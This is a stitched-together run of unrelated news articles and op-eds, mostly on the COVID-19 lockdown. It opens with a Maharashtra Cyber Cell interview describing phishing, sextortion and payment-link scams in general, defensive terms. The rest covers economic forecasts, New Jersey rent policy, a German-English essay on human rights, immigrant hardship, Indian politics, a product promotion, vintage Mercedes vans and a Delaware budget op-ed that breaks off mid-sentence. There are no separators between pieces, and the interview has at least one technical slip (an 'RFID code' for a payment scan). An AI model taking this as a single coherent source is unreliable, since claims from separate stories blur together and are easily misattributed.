Assuming that people would spend more time on social media during the lockdown, cyber criminals shifted their activities more on social media. They particularly started spreading messages like 'get free mobile recharge', 'get Rs 2,000 credited to your bank accounts', etc. And they are prompting people to click such links so that they could harvest more data by directing people towards fake Web sites. So this is the first trend. Second, sending fake news and rumours have seen spikes since the lockdown. Third, there has been an increase in hate messages targeting religious communities. On the criminal side, we have observed that there are many online payment applications and wallets that are being used to cheat people. These cyber criminals are targeting people searching for groceries and vegetables vendors nearest to their homes when they are locked down in their homes on Google. Sensing an opportunity here, fraudsters have changed their methods and put their numbers on social media as grocers and vendors of essential goods. When people call these numbers they are promised free home delivery of essentials on payment of Rs 5 or Rs 50. They are given the option of cash on delivery for their purchases and are sent an application link, which when clicked opens up a form that asks for credit card or bank details so that they can book their orders by making a payment of Rs 5 or 50. Once a customer makes this payment, all his details are captured by these criminals including their mobile number, OTPs, passwords, e-mail IDs, etc. Using these details, they withdraw money from bank accounts or use credit cards for purchases. Many people have lost money to these online tricks. I have personally received five to seven such cases and in different locations in Maharashtra we have received complaints about 50 such cases. In urban areas, we have seen a spike in liquor searches and to take advantage of these, online criminals opened fake liquor shops promising free home delivery. The modus operandi remains the same. Sending a fake link to capture credit card and bank details of people and then use these sensitive data to withdraw money from their accounts. We have issued advisories across the state about such scams and alerted the police stations where such criminal activities have been rampant. The other trend is blackmailing people who watch pornographic content during this lockdown or perhaps before the lockdown began. There has been a surge in e-mail sextortion rackets in the last few days. These sextortionists happen to have leaked e-mail IDs and passwords of people who surf the Internet for pornographic content. The e-mail senders claim that they have seen the users browsing pornographic sites and they have the recordings. They threaten to shame these people by sending these recordings to their family members. In return, they ask for ransom for not sending these recordings. This could have actually happened in a few cases, I don't yet know for sure, but in most of the cases these sextortionists get access to breached data or data captured through malware called 'crawlers' and 'trackers' by searching the browser history of their targets or from add-on extensions or cache memory. Most browsers store history of Web pages visited by users; many users save their e-mail IDs and passwords on their computers. There are two possible ways in which these criminals access your private data: Either through data breach on Websites that people often visit or maybe a cache of browser data is leaked. We have received many complaints related to sextortions and we have issued advisories also regarding that. People/Users need not panic in such instances. They should immediately change their password, clear their browser cache setting. Don't allow any pop-ups and add-ons if you are using Web browsers. If you are using mobile and browsing through mobile apps, then check which applications are running, what permissions you have given to those apps and check which apps are consuming most of your mobile data, which mail client you are using to check your mails on mobile. We have advised people to look into these issues and follow basic safety precautions while surfing online. These are some of the top trends about how cyber criminals are using the lockdown to scam people or swindle money using their credit cards or bank details. Has there been a sharp increase in the number of these cases after the lockdown? There has been a marked increase in four types of cases. One is fraud related to online deliveries, online shopping and online groceries and liquor. Second fake news, third hate speech and fourth sextortion. What action has the Maharashtra Cyber Cell taken against these criminals? We have a zero tolerance policy (against cyber crimes). The Government of India has created a portal called cybercrime.gov.in. We advise people to register their complaints online. Their complaints directly come to the concerned police station and we are the nodal office for Maharashtra. These complaints are also received at our end. We scan these complaints immediately and ask the concerned police station to act upon these complaints. We also appeal to people that they should visit their nearest police station and lodge their complaints. We also have a zero tolerance policy towards fake news, hate messages, and cyber crime which is related to exploitation of women and children. We take these complaints very seriously. We have acted so far very stringently against such criminals. From January 2020, we started Operation Black Face to curb pedophilia and online exploitation of women, register such complaints and bring the criminals to face the law. From January till date, we have registered 140 related cases. More than 60 people have been arrested. More than 100 people have been identified, who will be arrested soon. Likewise, the second category that we have zero tolerance against is fake news and hate speeches. We have registered more than 275 cases against those spreading fake news and hate messages. More than 69 people have been arrested so far. We have identified more than 200 people who have indulged in spreading fake news or hate messages and will be arrested soon. During the lockdown period, Whatsapp and Facebook have been used extensively for rumour mongering and hate messages followed by TikTok and Twitter. Most of the audio and video content related to these cases were found on Facebook and WhatsApp. We have also notified these platforms about these activities. How are these social media platforms cooperating with the Maharashtra Cyber Cell in tracking and curbing such crimes? We have asked them to curb these criminal activities taking place on their platforms and they have responded positively. But we want them to act proactively and preemptively. They know what the trend is on their platforms; they know from where the traffic is coming and going, what kind of activities are happening under their noses, but still (they are running away from their responsibilities) under the garb of 'We don't look into user content'... but these trends are visible. They should make technological arrangements, which will prevent (these criminal activities). I will give an example. Google Pay has a reverse link which can be used to debit money from someone's account instead of a person crediting money into someone's account. So, if I have to pay you, then you can send me a link to make the payment. Normally, if I have to pay you, I credit the money into your account using your mobile number linked to your bank or using your bank details. But there's also a facility (reverse link) whereby you can also send a link to me and ask for a debit from my account. Google Pay and OLX has become a deadly combination for some gangs using this modus operandi. If you are buying something (on OLX), then instead of you making the payment to the seller, the seller hoodwinks you to scan an RFID code to make the payment but such transaction generates a reverse link, that is, instead of generating a credit link (through which the buyer makes the desired payment to the seller), the seller sends you a debit link which allows him to withdraw whatever amount he wants from your account instead of the amount for which the transaction takes place. So, instead of you (the buyer) paying money to me (the seller), the scammer has sent a debit link to you that allows him to withdraw whatever amount he wants to from your account. Such scams are also happening while buying goods online on e-commerce Web sites. In such instances, a technological arrangement like when you register for making payments through the NEFT (National Electronic Funds Transfer) or IMPS (Immediate Payment System) platforms where you have to register first and after some time, which is used for verification of the creditor and debitor, you can make and receive payments using these platforms. Two-factor authentication can also help in curbing such crimes. A case where the world is back to normal in 2021, shift in consumer preferences due to the Great Lockdown and lockdowns rolling over because no cure is widely available are possible scenarios of a post-corona economy, a report said. While the Bank of America (BofA) Global Economics team is forecasting a steep global GDP decline in 2020 of 2.8 per cent due to the ongoing coronavirus pandemic, the International Monetary Fund last week projected a contraction of 3 per cent, aptly labelling this crisis the "Great Lockdown, said the BofA Global Research report. Both forecasters tentatively expect a swift recovery in 2021, with BofA projecting global GDP growth of 6.4 per cent and the IMF forecasting a 5.8 per cent rebound next year. Admittedly, assigning probabilities to each scenario is a difficult task, as much depends on the availability of mass testing capabilities, a cure and/or a vaccine for COVID-19, the report said. Yet each one of these outcomes will likely have extremely important macro as well micro economic implications for global markets, including commodities. The transportation and hospitality sectors are among the most affected by Covid-19, as the lockdowns have impacted mobility the most. Industrial production contracts less than GDP in many countries, partly because demand for consumer products and other items has held up relatively well during the crisis. Yet metals consumption is falling sharply for the time being due to slower construction and car manufacturing activity and limited infrastructure spending. Demand for raw agricultural commodities is also taking a big hit, in part due to a connection to corn and sugar-based ethanol fuels and in part as a result of meat plant closures, according to the report. Metals could be the biggest beneficiary of fiscal stimulus In our baseline scenario, global oil demand contracts by 9 per cent in 2020, while global natural gas demand drops by just 0.3 per cent, coal by 4 per cent and electricity by 5 per cent, the BofA Research report said. Consumption of copper, aluminium and steel could fall by 14 per cent, 21 per cent and 24 per cent respectively in 2020 without any fiscal support. Even then, China has already started to implement some and others may follow. Thus metals could end up being the biggest beneficiary from fiscal stimulus and a normalization of economic activity. Looking into 2021, oil demand would return to 100 million barrels per day (b/d) in the back-to-normal scenario, 96 million b/d in our corona new normal preference shift scenario, and drop to 86 million b/d in a rolling lockdown scenario. The outlook for commodities is discussed at length inside the piece, it added. TradeArabia News Service On Friday, Gov. Phil Murphy signed an executive order that waives provisions of statutory law that prohibit the use of security deposits for rental payments, according to the state website. The order lets renters use their security deposits to make their monthly rental payments. Thats a nice gesture. But if the governor wants to modify a statute, the way to do so is through the Legislature, said one of Murphys fellow Democrats who served in the Legislature for 30 years. I think its a great idea, said former state Senator Ray Lesniak of the effort to aid tenants. But it seems to me to violate the contracts clause of the state constitution. That clause states that the Legislature shall not pass any law impairing the obligation of contracts, or depriving a party of any remedy for enforcing a contract which existed when the contract was made. It certainly struck me as being unenforceable, said Lesniak, who is a lawyer by trade. It struck several Republicans that way as well. The lawyers among them, such as former assemblyman Mike Carroll of Morris County, offered a similar insight. The legislature can empower the governor to act to the extent the Legislature might act, said Carroll. But it cannot authorize the governor to violate the constitution. This is the sort of point that routinely surfaces in the legislative hearings on such a proposal. At such hearings, you will often hear a witness bring out the flaws of the bill in question. Some legislator will then offer a way around those flaws. In this case the legislator in question is Carrolls fellow Morris County Republican, state Sen. Joe Pennacchio. Pennacchio, a dentist by trade, is offering a bill that would permit commercial landlords to forgive rent payments during the crisis in exchange for credits on their state income taxes. Pennacchio noted the federal government is offering New Jersey $1.8 billion in coronavirus aid. It can only be used on extra costs caused by the crisis, but Pennacchio says theres a good chance this expenditure would qualify. The money is there and it can be spent on Covid-19 expenses, he said. During normal times, why would a landlord forgive three months rent but for the pandemic? That bill covers only commercial leases, but theres a similar bill in the works to aid residential tenants, said state Senate President Steve Sweeney. He pointed to a bill that recently passed the Senate that appropriates $100 million for rental assistance to those whove lost income because of the crisis. Sweeney said that, unlike Murphys approach, that bill might qualify the state for federal aid, either under that $1.8 billion appropriation or a future appropriation of rental assistance aid. But the Gloucester County Democrat said he sees problems with Murphys approach. One of the things Im concerned about is that the security deposit is there to make sure the place doesnt get damaged, Sweeney said. Theres a purpose for a deposit. Thats the sort of problem that is best addressed in legislative committees, he said. Committee meetings were temporarily called off after the governor declared a state of emergency last month. But committees have a great way of catching mistakes, Sweeney said. Thats the reason Murphy should have cooperated with the Legislature in addressing the problem, he said. If hed asked for it, we could have proposed it, Sweeney said of the governors plan. What he didnt say is that, like thousands of other bad ideas, that one would in all likelihood never have gotten out of committee. Now that Murphys put out that executive order, it may be subject to action by the third branch of government, the judiciary. His approach offers all sorts of pitfalls that are likely to cause landlords and tenants to square off in court at some time in the not-too-distant future. Thats why crafting such legislation is the role of the legislators, not the governor. His role is to either sign it or veto it. Thats a lot of power, but Murphy seems to want more. With the Legislature sidelined, hes been grabbing it. But Sweeney said hes decided to bring the Legislature back into the fray. Before the next Senate session May 14 Sweeney said he will bring back committee hearings through some sort of telephone conference call system. As long as the press and the public can participate, thats what matters the most, he said. Of course, neither the press nor the public gets to participate in these executive orders that the governor has been issuing on an almost-daily basis. Nor for that matter do the legislators. Time to get back to work, Id say. ADD - COURT THROWS OUT ILLINOIS STAY-AT-HOME ORDER: Check this article about a judge in Illinois who threw out that states stay-at-home order. The longer these governors persist in ruling by executive fiat, the more were going to see of this sort of legal challenge. In Murphys case, politicians of both parties agree what he did was illegal and unconstitutional. It was also unnecessary. But it stands until someone challenges it in court - and that could take months. Written by ACM [NDLR: The President of PanEuropa/Germany, Experienced former Long-Time MEP, Journalist and Author, Bernd Posselt, send to "Eurofora" a Topical and Important Article on Human LIFE's Value Nowadays, during the CoronaVirus' Pandemic. When Tragic and/or Scandalous Events obviously Threaten to Degrade the Value of Human Life almost every day, such Moves are as a Lightning in the Dark...(ACM) After the Original in German Language, Follows a Translation in English] ----------------------------- "Alles fur das Leben? GRUNDRECHTE: Klare Konsequenzen von Bernd Posselt Seit dem Ende totalitarer Regime wie Faschismus, Nationalsozialismus und Kommunismus wurden in Europa nicht ein einziges Mal die elementaren Grund- und Menschenrechte so sehr angetastet oder gar suspendiert wie derzeit. Wenn auch sachlich gerechtfertigt und im Rahmen demokratischer Rechtsstaatlichkeit limitiert, ist dieses Vorgehen unserer Regierungen ein beispiellos schwerer Eingriff in nahezu alles, was uns bislang heilig war: Freiheit, Religion, Eigentum, Familie und soziales Gefuge. Die einzige Legitimation dafur ist ein Recht, das allen anderen ubergeordnet ist und auf dem alle anderen aufbauen, namlich das Recht auf Leben und korperliche Unversehrtheit. Um dieses zu gewahrleisten, sind unsere Staaten entstanden, unsere volkerrechtlich abgesicherten Rechts- und Friedensordnungen sowie die Europaische Union. Wie kann es dann aber sein, da wir ein so elementares naturrechtliches Prinzip seit Jahrzehnten zum Teil der Wegwerfgesellschaft gemacht haben? Ein typischer Materialistenspruch lautet, da jeder Mensch ersetzbar sei. Das Gegenteil gilt! Jeder ist ein Ebenbild Gottes und von daher unersetzlich. Daraus zieht die katholische Soziallehre klare Konsequenzen, wenn sie sagt, da die Wirtschaft fur den Menschen da ist und nicht der Mensch fur die Wirtschaft. Dasselbe gilt fur den Staat: Er hat dem Menschen zu dienen und nicht umgekehrt. Beides ist vielfach in Vergessenheit geraten. Menschliches Leben, an sich unantastbar von der Zeugung bis zum naturlichen Tod, wurde immer mehr zur Disposition gestellt, vor allem, wenn es sich um ungeborene Kinder, um Alte, um Schwache oder um Behinderte gehandelt hat. Derzeit spuren wir wieder ganz deutlich, wie kostbar das Leben ist - das unserer Lieben, unserer Umgebung und auch das eigene. Vielleicht gelingt es uns aber auch, das wieder zu entdecken, was Papst Johannes Paul II. und Mutter Teresa, die in den Slums von Kalkutta personlich den dort grassierenden Seuchen entgegentrat, als "Kultur des Lebens" bezeichneten. ------------------------------------------------- Comments, 21. April 2020 All (Everything) for Life? Fundamental rights: clear consequences by Bernd Posselt ------------------ Since the end of totalitarian regimes such as Fascism, National Socialism and Communism, fundamental Human Rights in Europe have not been affected or even suspended as much as they are at present. Even if justified objectively and limited within the framework of democratic rule of law, this action by our Governments is an unprecedented heavy intervention in almost everything that has been sacred to us so far: freedom, religion, property, family and social fabric. The only legitimacy for this is a right which is superior to all others and on which everyone else builds, namely the right to Life and physical integrity. In order to ensure this, our States, our international legal and peace regulations and the European Union have been created. How, then, can it be that we have made such an elementary principle of natural law, part of the discarded Society (of Disposal) for decades? A typical materialist is saying that every human being is replaceable. The opposite is true! Everyone is an example of God and therefore irreplaceable. The Catholic social doctrine draws clear conclusions from this when it says that the economy is there for the people and not the man for the economy. The same applies to the state: it has to serve the people and not vice versa. Both have often been forgotten. Human life, in itself untouchable from conception to natural death, has become increasingly available, especially when it comes to unborn children, the elderly, the weak or the disabled... At this moment, we feel again very clearly how precious life is- that of our loved ones, our surroundings and also our own. But perhaps we will also rediscover what Pope John Paul II in the past, and Mother Teresa, who personally faced in the slums of Calcutta the Diseases that were raging there, have called "Culture of Life". ------------------ GREATER LAFAYETTE, Ind. (WLFI) Indiana is home to nearly 100,000 undocumented immigrants. And several thousand live within our viewing area. News 18 spoke with two undocumented mothers who say they are finding it particularly hard to survive this pandemic. "Families were already struggling before and with this coronavirus knocking a lot of people out of work, it has made things even more difficult," said Monica Casanova, vice president of Greater Lafayette Immigrant Allies. This is the case for the two undocumented mothers who spoke with us. They say they are struggling after their recent job cuts. Now they're left wondering how they're going to make money. "My job is to clean houses," said one mother. "The ladies I clean houses for don't want me in their house because of the coronavirus. I'm also afraid to drive because if I drive then I'm exposing myself to being asked if my job is essential." The other mother shares similar feelings. "It has been difficult, I was furloughed two weeks ago," said the mother. "I'm not holding my breath because I know I'm not going to be eligible for relief. I have some savings and I value those savings, and Hispanic families are very united so we help each other out." Although hundreds of thousands of people working in America have been furloughed, the undocumented community is one group that does not qualify for state or federal aid. "It's very sad because we also pay taxes and get nothing," said one mother. GLIA President Margaret Hass said undocumented workers pay sales tax and many pay taxes through an Individual Taxpayer Identification Number (ITIN.) Both mothers have lived undocumented in the community for around 20 years and Hass said that's not necessarily by choice. She said the pathway to becoming a U.S. citizen is complicated. "The myth that you can just somehow get in line and do it the right way is really frustrating," said Hass. "A lot of people have no pathway to status." She said most undocumented immigrants live in mixed-status families, this can happen through marriage, one family member becoming a permanent resident, or undocumented parents having U.S. born children. In addition to many undocumented workers not being able to work, Hass is also concerned about the ones that are. She said the jobs many undocumented people work are ones that are more vulnerable to easily spreading COVID-19. "Undocumented immigrants in our community are working in healthcare, are working in the service industry, working in construction, working in our factories. and I think this pandemic is showing how connected we really are," said Hass. The undocumented mothers say they've both been using local schools and churches to help provide food for their families. They say they're hoping to find work soon. "Undocumented immigrants, just like us have the same goals, have the same aspirations, and also have the same self-pride in the work that they do and what they contribute to the community," said Casanova. Community Resources for undocumented families: GLIA created a Mutual Aid group to help the undocumented community during this time. Here is a link to the English version. Here is a link to the Spanish version. Lafayette Urban Ministry is also offering services. Madam Celina Avevor, the Assembly Member for Kutunse Electoral Area in the Ga West Municipality has called on parents to ensure that their adolescent children abide by the COVID-19 protocols to avoid contracting the coronavirus. She said parents should insist that their children wash their hands regularly with soap under running water, wear the nose and mouth mask, and to use the sanitizer to rub their hands while staying at home to revise their school lessons. She said this would be the surest way of protecting themselves from the novel COVID-19 pandemic. Madam Avevor made the call in an interview with the Ghana News Agency after she had toured the 13 communities under her jurisdiction to sensitise the people on the coronavirus and to ensure that they adhere to the protocol by the Government on the disease. She presented veronica buckets, liquid soaps, hand sanitizers, mouth, and nose marks to the communities to enhance the prevention of the COVID-19. The Assembly Member expressed gratitude to the Jerico International Church of Accra for donating 10 bags of rice and boxes of cooking oil to be shared among the people in the area and also thanked the Ga West Municipal Assembly for supporting Muslims in Kutunse and Pobiman with bread and eggs towards their Ramadan. Alhaji Salifu Suley of Pobiman thanked the Assembly for the gesture. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Help India! By Md Farrukh Ilyas Amidst the global chaos due to COVID19, the world is witnessing a new settlement for its respective governance. The global village has a lot in the bucket of its responsibilities and accountabilities as social, political and economic frames of all countries from the world has thrown ahead the challenges for a stout globalized economy and geopolitics. Support TwoCircles Time will tell how far we reached to conquer the future, or how far the wrath of ignoring the rules of nature is lethal but for now we have only questions: Did the world order for the rule of law lean? How is the political voice changing its course during the pandemic in the global political system? How are citizens dealt with public health by the government of the globe? However, in the case of India, we have something crucial to ponder all along the road towards fighting the pandemic in this country. In India, functioning of the organs of the government has to sync with the constitution of India, no matter what arrives in the doors of its governance. The constitution of India has drawn the path forward for the government to effective governance in the country. But history is on record and we need to answer did we religiously follow the constitution? The Indian constitution overwhelmingly shares and preaches the idea of deliberative democracy, but is it really entertained by the government? Our rational approach should respond according to the established words of the constitution, a democracy is willful towards its citizens, and this should sink in. The national problems come without recognition of caste, creed, religions, and a target to a particular community. It is a canvas that covers all in it. As the scourge of coronavirus escalated in the nation, the political edicts directly shifted its course from taking responsibility towards accusing a particular section of the community for its spread. A country with a gigantic population demands effective governance with prompt actions, and the same doesnt come easy, it comes with lots of toils and with a just approach to the civil society for the greater common good. In the words of B R Ambedkar, Equality may be a fiction but nonetheless one must accept it as a governing principle. Are we ready to accept equality as our governing principle? The recent incidents in the nation depict the worst picture of equality in the nation. As if the government had specifically introduced it as a pattern of dealing with the virus by throwing the blame of its spread on Tablighi Jamaat members. And amidst all the chaos of upholding its liability to answer for the medical emergency the nation faces right now, the government does not seem to dismantle from its projection of Muslims as super spreaders of the coronavirus. This is how we are trained to follow statements of political leaders and with active disobedience to the very spirit of the constitution, we break off from questioning them. And to put Ambedkar into perspective, it is exactly when the activity of questioning stops in democracy, a true democracy ceases to function. Its on the final call of the citizens, how rationally one approves of the tenets for the core values of the constitution of India? The politically privileged section of the country is trying through all its efforts to introduce and institutionalize the differentiation amongst citizens of the country, which shall prove as the greatest assault on the values and the idea of We the people of India. Ideas are powerful as it builds a nation or scrambles the units of it. You might have few of them too, as the Constituent Assembly had, that gave us the complete constitution with its magnificent importance and values in our daily lives. This was recorded too, in the words of the prime architect of the constitution himself, when Ambedkar said, Constitution is not a mere lawyers document, it is a vehicle of Life, and its spirit is always the spirit of Age. The challenges rest with the people of India, how do you see justice and equality in the nation? One should always be vigilant towards the institutionalization of bhakti in religion by the political class, which shall demean the public reasoning in democracy. On the same note, B R Ambedkar sums up, In politics, Bhakti or hero-worship is a sure road to degradation and to eventual dictatorship Our civil society has gone through the contours of creating privileged class with relations to religious associations amongst its people; this has been done with help of the political class in the political atmosphere of the country, privilege in opinion-making, commenting, decision-making on matters of national interest, and even to high society social gossips. This inclusion of a particular privileged class excludes all of its other citizens from being a part of nation building, as they are fundamentally ascribed to, in a democracy. The phenomena of asserting a soft corner for people regarding anything that has a religious edge, is dangerous. Nevertheless, this becomes the many reasons for communal disharmony by promoting a feeling of otherness among the neglected class. How do we address this stigma? How does it introduce in the common sentiments of people? It is by far and large that we dont accept the concept of pluralism in the nation-state practising with its values in the civil society. This is omitted through the deliberative patterns of the political leaders. The people at the helms of power are in continuous approach to stir hate and disharmonize the status-quo and large-hearted tolerance in the civil society. The wings of their desire to fulfill their goals are by mounting intolerance, communal hatred, and largely minority insecurity. This is firstly made fictitious in the state affairs, but slowly with the course of time, they take the place in their destinations, dividing people into lines of hatred and religions. We all feel them, but we ignore them, because the politics of the contemporary times have engulfed us, and we are nowhere out. But with a change in ourselves, and we all know, politics choose us all, we need to decide how. In the book, Why Nations Fail by Daron Acemoglu and James A. Robinson, they say, Politics is the process by which a society chooses the rules that will govern it. The question is, how do we want to be governed? A democracy with public reasoning or the one without it? The politics with a just society or the one submerged in injustice? The choice is with the nation of the people. Let the philosophy of the words from the preamble breathe in the true sense and spirits, so that justice, liberty, equality and fraternity for the larger goal and for the greater common good can be served. MD Farrukh Ilyas is a student of Political Science at Aligarh Muslim University Simplio3D Virtual Reality Product Configurator Simplio3D is designed to support businesses that need to align in the post-coronavirus period. In just a few months, the world has changed in every way due to the COVID-19 outbreak, and for companies that sell customizable products, the sales process has become a little more challenging. There are still many companies that make proposals manually and it often takes too long to meet customer expectations. It is also often necessary to have several meetings and phone calls with clients until an agreement is reached on a proposal. A lot of time is spent writing the proposal instead of automating the process. These are just a few things that many companies will think more about in the post-coronavirus period. Companies will seek to optimize their sales cycle not only to reduce contact with people as much as possible despite the current health situation, but also to reduce costs for making designs (e.g. CAD drawings, samples), lower the rate of returns and eventually sell more. Therefore, visually oriented quotation applications such as CPQ systems, 2D/3D product configurators and its integrations is something we believe more companies will start adopting in the coming years. From furniture and clothing products to jewelry and shoes, almost anything can be customized with the adoption of a quote-to-cash application. The Purpose of Simplio3D The first version of Simplio3D was launched by Digital Artflow in 2014, as an alternative to another solution distributed by the agency, php Kitchen Planner. It was a floor planning system that did not cover many industries in terms of product customization capabilities. Therefore, Simplio3D came at the right time to meet the need to have a more complete product configuration platform to meet more inquiries. SEL Platform Over time, Simplio3D has become a complex platform, with a lot of features that replace the previous floor planning system. Today Simplio3D relies on its modular capabilities to build in a relatively short time and at an affordable cost almost any type of product configurator. The SEL platform contains an impressive library of pre-built elements, such as: 2D and 3D viewport, product creator, e-commerce integration module, submission form, bill of materials, virtual and augmented reality extensions, distributor module, import and export bulk data and many other key features that makes Simplio3D a complete product configurator platform. The platform behaves like lego pieces, depending on the needs of a product configurator, the platform can mount the right parts to build it. Immersive Product Experience Simplio3D comes with new ways to engage customers with highly customizable products using the latest technology, virtual reality and augmented reality. Using immersive and mixed reality technologies, companies can easily simulate a highly accurate product experience and eliminate the need of phone calls and showroom visits. In the current global context, there is a likelihood that more companies will adopt this technology to help with their sales process. There is an increase interest in WebAR and its implementation along with e-commerce platforms to introduce the user to an immersive experience directly through a mobile web browser. Simplio3D has made this easier using pre-built integrations with known ecommerce platforms. Basically, end users are able to "try" products using the device's camera and simulate what a particular product will look like in the allotted space, such as furniture or wearing items such as a watch or shoes. All this can be done anywhere, including from home. Enviroment Friendly Digital Artflow cares about the environment as much as other companies, which is why we encourage technologies that aim to rid the earth of unnecessary pollution. The visual oriented product configurator is another step forward and we are proud to contribute with our platform. With such applications you can reduce the number of returned products and eliminate making physical samples that would harm the environment. Case Studies The SEL platform is already confirmed with successful implementations at several companies such as: Gratnells, Krowne Metal Corporation, The Wise Company, KWB Group, FLS electronics and many more. To learn more about the case studies, please open the following link: https://simplio3d.com/case-studies/ For more information about Simplio3D, please visit us at: https://simplio3d.com/ Kolkata, April 28 : Two police personnel were injured as a mob hurled bricks and vandalised two security force vehicles after lawkeepers tried to enforce the lockdown in West Bengal's Howrah district on Tuesday. A police officer said the violence broke out when the police team stopped some youths wandering on Belilius Road in Tikiapara area amidst the lockdown. When the police personnel chased the youths with batons and ordered them to go home, they started to argue, and the heated exchanges soon led to a scuffle. A large mob then poured on to the streets, chased the policemen, threw bricks and vandalised two police jeeps. As the tension spread, police reinforcements were rushed in, and the Rapid Action Force personnel deployed in the area. State Forest Minister Rajiv Banerjee said strict action would be taken in the incident, which he described as "highly condemnable". Howrah district has been declared a red zone (area with a large number of coronavirus cases) . A complete lockdown has been declared in 56 containment zones in the district. A United Airlines pilot whose charge of indecent exposure was dismissed sued the Denver, Colo. airport hotel where his arrest occurred. An attorney for Andrew Collins filed the lawsuit against The Westin Denver International Airport in U.S. District Court Monday, KMGH-TV reported. Collins was arrested in September 2018 after being accused of standing naked in front of his 10th-floor hotel window overlooking the Denver International Airport terminal. The Leesburg, Virginia, resident said he did not know he was visible to anyone in the main terminal. A judge dismissed criminal charges against Collins in March 2019, but by that time the wrongful arrest had caused a six-month work suspension. Collins settled a lawsuit against the city of Denver for $300,000. His attorney, Craig Silverman, said in a statement they are hopeful the hotel will acknowledge and remedy the fact this violation occurred with the unfortunate participation and permission of DIA Westin staff. The Westin Denver International Airport did not immediately respond to a request for comment. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Lawsuits Abuse Molestation Aviation Colorado Mercedes-Benz is credited for creating the first automobile in 1885, but it also claims the birth of a different type of vehicle: the truck. In 1896, Daimler-Motoren-Gesellschaft, the company that merged with Benz & Cie Rheinische Automobil und Motorenfabrik to create Daimler-Benz AG in 1926, built what is claimed to be the world's first motorized transport vehicle with a two-cylinder engine and a 3,300-pound payload capacity. In the same year, Karl Benz built a "van-type delivery vehicle" for a Paris department store. That early heritage paved a pioneering path in the van, truck, and transport sector that continues today with the beloved Mercedes-Benz Sprinter. Part of that path includes the L 319 series of vans and trucks that set the tone for the two vehicles seen here, a 1961 Mercedes-Benz O 319 passenger bus and a 1965 Mercedes-Benz L 407 fire truck. From seperate sellers, the O 319 and L 407 are both currently listed for sale on popular car auction site Bring a Trailer. The O 319 is a passenger bus that debuted around the same time as the L 319, hence the similar rounded cab-over-engine design. It features a two-tone paint job and can fit up to 17 passengers, though some of the seats are apparently missing. According to its listing, this bus was originally used as an Idaho ski resort employee shuttle, but it has since been refurbished to get it to its current beautiful shape. The original 1.8-liter diesel inline-four is separately included but has been replaced by a 2.2-liter Toyota 20R inline-four that links to a five-speed manual transmission on the floor. The bus also comes with a Mercedes-Benz branded wicker basket perfect for picnics. If the red on the omnibus is too dull, consider the bright red L 407 fire truck. In the '50s, when the L 319 launched, the name reflected the "internal design name" customary at the time. But things shifted in 1963 when Mercedes-Benz introduced a new naming architecture that included weight and output data, a system that is still in place today. So, the L 407 looks similar to the L 319s but has a different name. Story continues This particular fire truck is listed with no reserve, a fireman's logbook, and a clean Washington state title. According to the listing, it was originally used by the municipality of Mambach in Baden-Wurttemberg, Germany, and was later imported to North America. It features a 1.9-liter M121 gasoline inline-four that connects to a three-speed manual transmission and powers dual rear wheels. A Ziegler water pump is mounted to the nose, and other fire equipment includes a ladder mounted to a roof rack, roof-mounted emergency lights, and sirens on the front bumper. In the rear of the truck, there is a hose reel, as well as more space for equipment. With less than 11,000 miles on the dial, it maintains its shiny red looks thanks to a respray by the previous owner. If the omnibus is enticing, it requires fast action. It's currently going for $60,000 and the auction ends tomorrow. The fire truck has more time, however, as the sale just opened and is currently going for $2,100. That auction will end in about one week. Below is a restoration video about the omnibus. United Middle School students contributed to the COVID-19 effort by providing first responders and medical staff the generous gifts of Chick-Fil-A and disinfectant wipes Monday. According to UMS principal Rosana Arizola, a class of STEM students got together for a meeting at the request of their teacher Dora Garcia for a special lesson. As the year started, her students were asked to bring to class a bottle of disinfectant wipes as part of their back-to-school requirements. With schools closing and material going unused, Garcia decided to ask her students if it would be all right to donate. She held a good deed lesson for her students and asked if they would like to donate their material. Using a poll, the students voted in favor of the donation, and with their and their parents blessings, over 70 bottles of disinfectant wipes were donated to the Laredo Fire Department. Later that day, the UMS cheerleading squad donated 50 Chick-fil-A meals to the COVID unit at the Laredo Medical Center to honor and thank the medical professionals for their work. Arizola said that due to the cancellation of their Fiesta Texas field trip, the girls had money left over. While they could have bought anything else, the squad had the idea to buy the meals for the employees, Arizola said. With the pandemic going on for over five weeks, more and more people are standing up and contributing to their communities. From first responders to students of all ages, many are working together to get through these troubling times. UMS students always have a warm heart and want to help out any way they can, Arizola said. It is not a surprise that it was all their ideas. We come together in times of need this is us, this is them. Christian Ocampo may be reached at cocampo@lmtonline.com Queensland classrooms will reopen in one form or another by the end of May, Premier Annastacia Palaszczuk has confirmed. At present, schools remain open only to vulnerable students and those whose parents are essential workers. Zoe Collins is seen doing school work with her children Dare, 5, and Douglas, 7, at their home in Brisbane. Credit:AAP Image/Darren England The government was set to reveal how schools would operate for the second half of term 2 on May 15 and Ms Palaszczuk said the announcement would not come a day earlier. "We are not going to rush this, we are going to get this right and I will not put the lives of our teachers, principals, school community, parents and children at risk," she said. I never thought I'd be nostalgic for 2009.As a brand-new governor taking office during the Great Recession, I was forced to present a balanced budget at a time when Delaware was losing 9 percent of its jobs and revenues were declining by even more from what we had expected just a few months earlier. Policymakers across the country viewed these figures as once-in-a-lifetime levels of catastrophic challenge.Ultimately, we balanced our budget through significant cuts and record tax increases, as well as federal aid. We furloughed state employees, cut aid to educational institutions and reduced spending throughout state government.As painful as all of that was, it may well end up paling in comparison to the impact of the coronavirus pandemic on our economy. More than 26 million Americans have filed unemployment claims in the last five weeks , compared to 8.8 million jobs lost during the entirety of the Great Recession. And it's increasingly clear that many of these current jobs won't be coming back anytime soon or ever, if many businesses close their doors altogether.It's exactly when government revenues decline as a result of people losing their jobs that more government support is needed for Medicaid, protecting children from abuse, helping those suffering from addictions and the like. So states must try to address an increased need for services just when policymakers must cut their budgets.In the face of these massive challenges, we now learn that the Trump administration is holding back on providing additional support to state and local governments because it fears that state political leaders would then have a disincentive to re-open their economies Governors of both parties invariably campaign on the idea of being their state's "jobs governor." It's ludicrous to suggest that a short-term bump in federal support would diminish their eagerness to get people back to work. A sustained strong private-sector economy is the only thing that enables our elected leaders to invest in the things we all care about: high-quality health care, a great education for all, sufficient public safety and quality of life.Governors certainly want to re-open their economies as soon as they feel confident they can do so without overloading their health-care systems and without putting people's lives at risk. But in the meantime they need federal support, and they need it quickly. We are already reading about governors, as well as mayors and county executives, who are having to make significant cuts to police, sanitation, schools, health 